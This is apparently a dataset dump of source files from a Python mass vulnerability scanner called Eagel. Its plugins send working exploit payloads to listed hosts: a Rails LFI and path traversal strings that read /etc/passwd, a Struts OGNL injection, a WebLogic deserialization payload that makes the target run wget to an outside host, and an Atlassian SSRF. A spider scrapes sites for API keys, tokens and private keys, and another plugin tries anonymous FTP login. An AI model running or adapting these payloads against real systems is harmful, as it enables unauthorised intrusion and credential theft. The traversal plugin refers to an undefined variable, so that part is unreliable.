index
int64
repo_name
string
branch_name
string
path
string
content
string
import_graph
string
53,697
alex14324/Eagel
refs/heads/main
/plugins/spider.py
from utils.status import * from .helper import Plugin,utils from urllib.parse import urlparse from utils.decorators import OnErrorReturnValue from bs4 import BeautifulSoup import re import urllib.parse import utils.multitask as multitask class Spider(Plugin): def __init__(self): self.name = "Sensetive Informations Spider" self.enable = True self.description = "" self.concurrent = 8 self.__secrets = {} def get_secrets(self,content): regexs = { 'google_api' : 'AIza[0-9A-Za-z-_]{35}', 'google_oauth' : 'ya29\.[0-9A-Za-z\-_]+', 'amazon_aws_access_key_id' : '([^A-Z0-9]|^)(AKIA|A3T|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{12,}', 'amazon_mws_auth_toke' : 'amzn\\.mws\\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}', 'amazon_aws_url' : 's3\.amazonaws.com[/]+|[a-zA-Z0-9_-]*\.s3\.amazonaws.com', 'firebase_url' : '.firebaseio.com[/]+|[a-zA-Z0-9_-]*\.firebaseio.com', 'facebook_access_token' : 'EAACEdEose0cBA[0-9A-Za-z]+', 'authorization_bearer' : 'bearer\s*[a-zA-Z0-9_\-\.=:_\+\/]+', 'mailgun_api_key' : 'key-[0-9a-zA-Z]{32}', 'twilio_api_key' : 'SK[0-9a-fA-F]{32}', 'twilio_account_sid' : 'AC[a-zA-Z0-9_\-]{32}', 'paypal_braintree_access_token' : 'access_token\$production\$[0-9a-z]{16}\$[0-9a-f]{32}', 'square_oauth_secret' : 'sq0csp-[ 0-9A-Za-z\-_]{43}', 'square_access_token' : 'sqOatp-[0-9A-Za-z\-_]{22}', 'stripe_standard_api' : 'sk_live_[0-9a-zA-Z]{24}', 'stripe_restricted_api' : 'rk_live_[0-9a-zA-Z]{24}', 'github_access_token' : '[a-zA-Z0-9_-]*:[a-zA-Z0-9_\-]+@github\.com*', 'rsa_private_key' : '-----BEGIN RSA PRIVATE KEY-----', 'ssh_dsa_private_key' : '-----BEGIN DSA PRIVATE KEY-----', 'ssh_dc_private_key' : '-----BEGIN EC PRIVATE KEY-----', 'pgp_private_block' : '-----BEGIN PGP PRIVATE KEY BLOCK-----', '!debug_page': "Application-Trace|Routing Error|DEBUG\"? ?[=:] ?True|Caused by:|stack trace:|Microsoft .NET Framework|Traceback|[0-9]:in `|#!/us|WebApplicationException|java\\.lang\\.|phpinfo|swaggerUi|on line [0-9]|SQLSTATE", #'google_captcha' : '6L[0-9A-Za-z-_]{38}', #'authorization_api' : 'api[key|\s*]+[a-zA-Z0-9_\-]+', #'twilio_app_sid' : 'AP[a-zA-Z0-9_\-]{32}', #'authorization_basic' : 'basic\s*[a-zA-Z0-9=:_\+\/-]+', #'json_web_token' : 'ey[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*|ey[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*' } regex = r"[:|=|\'|\"|\s*|`|´| |,|?=|\]|\|//|/\*}](%%regex%%)[:|=|\'|\"|\s*|`|´| |,|?=|\]|\}|&|//|\*/]" for reg in regexs.items(): if "!" in reg[0]: myreg = re.compile(reg[1]) else: myreg = re.compile(regex.replace('%%regex%%',reg[1])) result = myreg.findall(content) if len(result) > 0: return {reg[0]: result} return None def sources(self,base,html): urls = [] soup = BeautifulSoup(html,features="lxml") for link in soup.findAll("a"): urls.append( urllib.parse.urljoin(base, link.get("href")) ) for link in soup.findAll("script"): urls.append( urllib.parse.urljoin(base, link.get("src")) ) return set(urls) def presquites(self, host): if utils.isalive( utils.uri(host) ): return True return False @OnErrorReturnValue(False) def sip(self,host,url): html = utils.requests.get(url).text secret = self.get_secrets(html) if not secret: return self.__secrets[host].append(secret) def main(self,host): base = utils.uri(host) html = utils.requests.get(base).text srcs = self.sources(base, html) index = self.get_secrets(html) self.__secrets[host] = [] if index: self.__secrets[host].append(index) channel = multitask.Channel(self.name) multitask.workers(self.sip,channel,self.concurrent) for src in srcs: channel.append(host,src) channel.wait() channel.close() if len(self.__secrets[host]) > 0: return Result(SUCCESS,self.__secrets[host],None,None) return Result(FAILED,None,None,None)
{"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]}
53,698
alex14324/Eagel
refs/heads/main
/plugins/cve-2019-5418.py
from utils.status import * from .helper import Plugin,utils class CVE_2019_5418(Plugin): def __init__(self): self.name = "Ruby on Rails LFI - CVE_2019_5418" self.enable = True self.description = "" def presquites(self, host): if utils.isalive( utils.uri(host) ): return True return False def main(self,host): poc = utils.uri(host) request = utils.requests.get(poc, headers={ 'Accept':'../../../../../../../../../../etc/passwd{{' }) if 'root:x:0:0:root' in request.text: return Result( status = SUCCESS, msg = poc, request = utils.dump_request(request), response = utils.dump_response(request) ) return Result(FAILED,None,utils.dump_request(request),utils.dump_response(request))
{"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]}
53,699
alex14324/Eagel
refs/heads/main
/utils/wrappers.py
import requests import hashlib import requests.packages.urllib3 requests.packages.urllib3.disable_warnings() class Requests(object): def __init__(self): self.cache = {} self.enable = True def token(self,method,*args,**kwargs): if "url" in kwargs.keys(): url = kwargs["url"].encode("utf-8") else: url = args[0].encode("utf-8") if "data" in kwargs.keys(): data = str(kwargs["data"]).encode("utf-8") else: data = b"" return hashlib.md5(method.encode("utf-8") + url + data).hexdigest() def pre_request(self,token, args, kwargs): kwargs.update({'verify': False}) if (not self.enable) or (not token in self.cache.keys()): return False return True def Request(self,*args,**kwargs): return requests.Request(*args,**kwargs) def Session(self,*args,**kwargs): return requests.Session(*args,**kwargs) def get(self,*args,**kwargs): token = self.token("get", *args,**kwargs) saved = self.pre_request(token,args,kwargs) if not saved: self.cache.update({ token: requests.get(*args,**kwargs) }) return self.cache[token] def post(self,*args,**kwargs): token = self.token("post", *args,**kwargs) saved = self.pre_request(token,args,kwargs) if not saved: self.cache.update({ token: requests.post(*args,**kwargs) }) return self.cache[token] def head(self,*args,**kwargs): token = self.token("head", *args,**kwargs) saved = self.pre_request(token,args,kwargs) if not saved: self.cache.update({ token: requests.head(*args,**kwargs) }) return self.cache[token] def put(self,*args,**kwargs): token = self.token("put", *args,**kwargs) saved = self.pre_request(token,args,kwargs) if not saved: self.cache.update({ token: requests.put(*args,**kwargs) }) return self.cache[token] def options(self,*args,**kwargs): token = self.token("options", *args,**kwargs) saved = self.pre_request(token,args,kwargs) if not saved: self.cache.update({ token: requests.options(*args,**kwargs) }) return self.cache[token] wRequests = Requests()
{"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]}
53,700
alex14324/Eagel
refs/heads/main
/plugins/ftp.py
from utils.status import * from .helper import Plugin,utils from utils.decorators import OnErrorReturnValue import ftplib import socket class FTP(Plugin): def __init__(self): self.name = "Anonymous FTP " self.enable = True self.description = "" def presquites(self, host): return True @OnErrorReturnValue(Result(FAILED,None,None,None)) def main(self,ftphost): ftp = ftplib.FTP(host=socket.gethostbyname(ftphost),timeout=10) ftp.login('anonymous', 'anonymous') return Result( status = SUCCESS, msg = 'FTP anonymous login is enabled', request = None, response = None )
{"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]}
53,701
alex14324/Eagel
refs/heads/main
/main.py
import os import sys from base64 import b64encode from utils.db import JsonDB from utils.status import * import utils.multitask as multitask import utils.console as console targets = [x.strip() for x in open(console.args.file,"r").readlines() if x.strip()] dir_target = os.path.dirname(os.path.realpath(console.args.file)) os.chdir(sys.path[0]) import utils.data as data import plugins import scripts import signal console.banner( len(plugins.loader.loaded) ) os.chdir(dir_target) channels = {} db = JsonDB(console.args.db) def onexit(sig,frame): for plugin in plugins.loader.loaded: try: channels[plugin].close() except: pass os._exit(0) def dbsave(result): res = result.ret host = result.args[0] name = result.channel.name if result.ret == None: return console.pprint(result) if name not in db.data: db.data[name] = {} db.data[name].update({ host:{ 'status' : res.status, 'msg' : res.msg, 'response': data.compress(res.response), 'request' : data.compress(res.request) } }) db.save() def scan(host): for plugin in plugins.loader.loaded: if not plugin.enable or not plugin.presquites(host): continue channels[plugin].append(host) signal.signal(signal.SIGINT, onexit) console.output(LOG, "checking live targets") if console.args.ping: scripts.ping(targets,silent=False) else: scripts.ping(targets,silent=True) console.output(LOG, "preformed in-memory save for online targets") for plugin in plugins.loader.loaded: channel = multitask.Channel(plugin.name) channels.update({ plugin: channel }) multitask.workers( target = plugin.main, channel = channel, count = console.args.workers, callback = dbsave ) queue = multitask.Channel('scan-queue') multitask.workers(target=scan,channel=queue,count=console.args.workers) for target in targets: queue.append(target) queue.wait() queue.close() for plugin in plugins.loader.loaded: channels[plugin].wait() for plugin in plugins.loader.loaded: channels[plugin].close()
{"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]}
53,702
alex14324/Eagel
refs/heads/main
/plugins/traversal.py
from utils.status import * from .helper import Plugin,utils class PathTraveral(Plugin): def __init__(self): self.name = "Path Traveral" self.enable = True self.description = "" def presquites(self, host): if utils.isalive( utils.uri(host) ): return True return False def main(self,host): payloads = [ "%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd", "..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd", "../../../../../../../../../../../etc/passwd", "static/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd", "static/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd", "static/../../../../../../../../../../../etc/passwd", ] for payload in payloads: request = utils.requests.Request( method = "GET", url = utils.uri(host), ) sess = utils.requests.Session() prepared = request.prepare() sess.verify = False prepared.url = utils.uri(host) + payload request = sess.send(prepared) if 'root:x:0:0:root' in request.text: return Result( status = SUCCESS, msg = poc, request = utils.dump_request(request), response = utils.dump_response(request) ) return Result(FAILED,None,None,None)
{"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]}
53,703
alex14324/Eagel
refs/heads/main
/plugins/cve-2018-11776.py
from utils.status import * from .helper import Plugin,utils class CVE_2018_11776(Plugin): def __init__(self): self.name = "Struts RCE - CVE_2018_11776" self.enable = True self.description = "" def presquites(self, host): if utils.isalive( utils.uri(host) ): return True return False def main(self,host): ognl_payload = ".multipart/form-data~${" ognl_payload += '#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("PWNED",1330+7)' ognl_payload += "}" request = utils.requests.get( utils.uri(host) ,headers={ 'Content-Type': ognl_payload }) if "PWNED" in request.headers: return Result( status = SUCCESS, msg = "PWNED", request = utils.dump_request(request), response = utils.dump_response(request) ) return Result(FAILED,None,utils.dump_request(request),utils.dump_response(request))
{"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]}
53,704
alex14324/Eagel
refs/heads/main
/plugins/cve-2019-2725.py
from utils.status import * from .helper import Plugin,utils class CVE_2019_2725(Plugin): def __init__(self): self.name = "WebLogic RCE - CVE_2019_2725" self.enable = True self.description = "" def presquites(self, host): if utils.isalive( utils.uri(host) ): return True return False def main(self,host): payload = '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><class><string>com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext</string><void><string>wget https://google.com</string></void></class></java> </work:WorkContext> </soapenv:Header> <soapenv:Body> <asy:onAsyncDelivery/> </soapenv:Body></soapenv:Envelope>' request = utils.requests.post( utils.uri(host) + '_async/AsyncResponseService', data=payload, headers={ "Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Accept-Language": "en", "User-Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)", "Connection": "close", "Content-Type": "text/xml" }) if request.status_code == 202: return Result( status = SUCCESS, msg = "PWNED", request = utils.dump_request(request), response = utils.dump_response(request) ) return Result(FAILED,None,utils.dump_request(request),utils.dump_response(request))
{"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]}
53,705
alex14324/Eagel
refs/heads/main
/plugins/cve-2019-8451.py
from utils.status import * from .helper import Plugin,utils class CVE_2019_8451(Plugin): def __init__(self): self.name = "Atlassian SSRF - CVE_2019_8451" self.enable = True self.description = "" def presquites(self, host): if utils.isalive( utils.uri(host) ): return True return False def main(self,host): poc = utils.uri(host) + "plugins/servlet/gadgets/makeRequest?url=http://www.atlassian.com:8080@www.google.com&httpMethod=GET&contentType=JSON&gadget=http%3A%2F%2Fbitthebyte.local%3A8090%2Frest%2Fgadgets%2F1.0%2Fg%2Fcom.atlassian.streams.streams-jira-plugin%3Aactivitystream-gadget%2Fgadgets%2Factivitystream-gadget.xml&container=atlassian" request = utils.requests.get(poc, headers={'X-Atlassian-Token':'no-check'}) if '"rc":200' in request.text: return Result( status = SUCCESS, msg = poc, request = utils.dump_request(request), response = utils.dump_response(request) ) return Result(FAILED,None,utils.dump_request(request),utils.dump_response(request))
{"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]}
53,706
alex14324/Eagel
refs/heads/main
/plugins/spf.py
